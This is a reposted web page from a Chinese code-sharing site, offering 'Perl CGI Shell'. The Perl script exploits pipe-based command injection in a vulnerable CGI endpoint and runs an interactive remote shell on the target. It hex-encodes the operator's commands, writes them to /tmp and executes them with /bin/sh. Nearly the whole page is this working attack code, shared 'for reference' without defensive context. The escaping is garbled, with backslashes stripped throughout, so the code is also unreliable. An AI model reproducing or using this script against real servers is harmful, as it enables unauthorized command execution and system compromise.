Perl CGI Shell
发布时间:2020-12-15 21:09:51 所属栏目:大数据 来源:网络整理
导读:今天PHP站长网 52php.cn把收集自互联网的代码分享给大家,仅供参考。 #!/usr/bin/perl # adaptive cgi shell by secye use LWP::Simple;$part1 = @ARGV[0]; $part2 = @ARGV[1];print "Making buffer...n";for $bet (100.
以下代码由PHP站长网 52php.cn收集自互联网 现在PHP站长网小编把它分享给大家,仅供参考 #!/usr/bin/perl # adaptive cgi shell by secye use LWP::Simple; $part1 = @ARGV[0]; $part2 = @ARGV[1]; print "Making buffer...n"; for $bet (100..200) { $bettwo = $bettwo . "AAAA" . $bet . "AAAA\n"; } print "Exploiting...n"; $id = get("$part1|id|$part2"); $id =~ m/(uid=d+(.*) gid=d+(.*) groups=d+(.*))/; print "Well shizzle my nizzle... shell by oxagast... use wisely ;)nn"; $uid = $1; print "$uidn"; while (0 == 0) { print "$ "; $cmd = <STDIN>; chomp($cmd); if ($cmd =~ m/cd (/.*)/) { $dir = $1; } if ($cmd eq "cd ..") { $dir =~ s/(.*)/.*//1/; } if ($cmd eq "pwd") { $dirjunk = $dir; if ($dirjunk eq "//") { $dirjunk = "/"; } } $dirjunk = "cd $dir;$cmd"; $cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr"); $cmdhex =~ s/(..)/\x$1/g; get("$part1|echo -e $bettwo > /tmp/buff|$part2"); $backjunk2 = get("$part1|cat /tmp/buff|$part2"); @backjunk = split("n",$backjunk2); get("$part1|echo -e "$cmdhex" > /tmp/cmdln|$part2"); get("$part1|/bin/sh /tmp/cmdln > /tmp/cmdlerr|$part2"); $backjunk_as = get("$part1|cat /tmp/cmdlnerr|$part2"); @backjunk_split = split("n",$backjunk_as); $backjunk_wcl = get("$part1|wc -l /tmp/cmdlnerr|$part2"); $backjunk_wcl =~ m/(d+) /tmp/cmdlnerr/m; $thismanylines = $1 - 1; for $junknum (0..scalar(@backjunk_split)) { for $fuzz (10..100+$thismanylines) { if ($backjunk[$junknum] =~ m/(AAAAQ$fuzzEAAAA)/) { $middle = $1; @backjunk[$junknum] =~ m/(.*)Q$middleE/; @backjunk_split[$junknum] =~ s/$1//; @backjunk[$junknum] =~ m/Q$middleE(.*)/; @backjunk_split[$junknum] =~ s/$1//; print "$backjunk_split[$junknum]n"; } } } } 以上内容由PHP站长网【52php.cn】收集整理供大家参考研究 如果以上内容对您有帮助,欢迎收藏、点赞、推荐、分享。 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |
推荐文章
站长推荐
热点阅读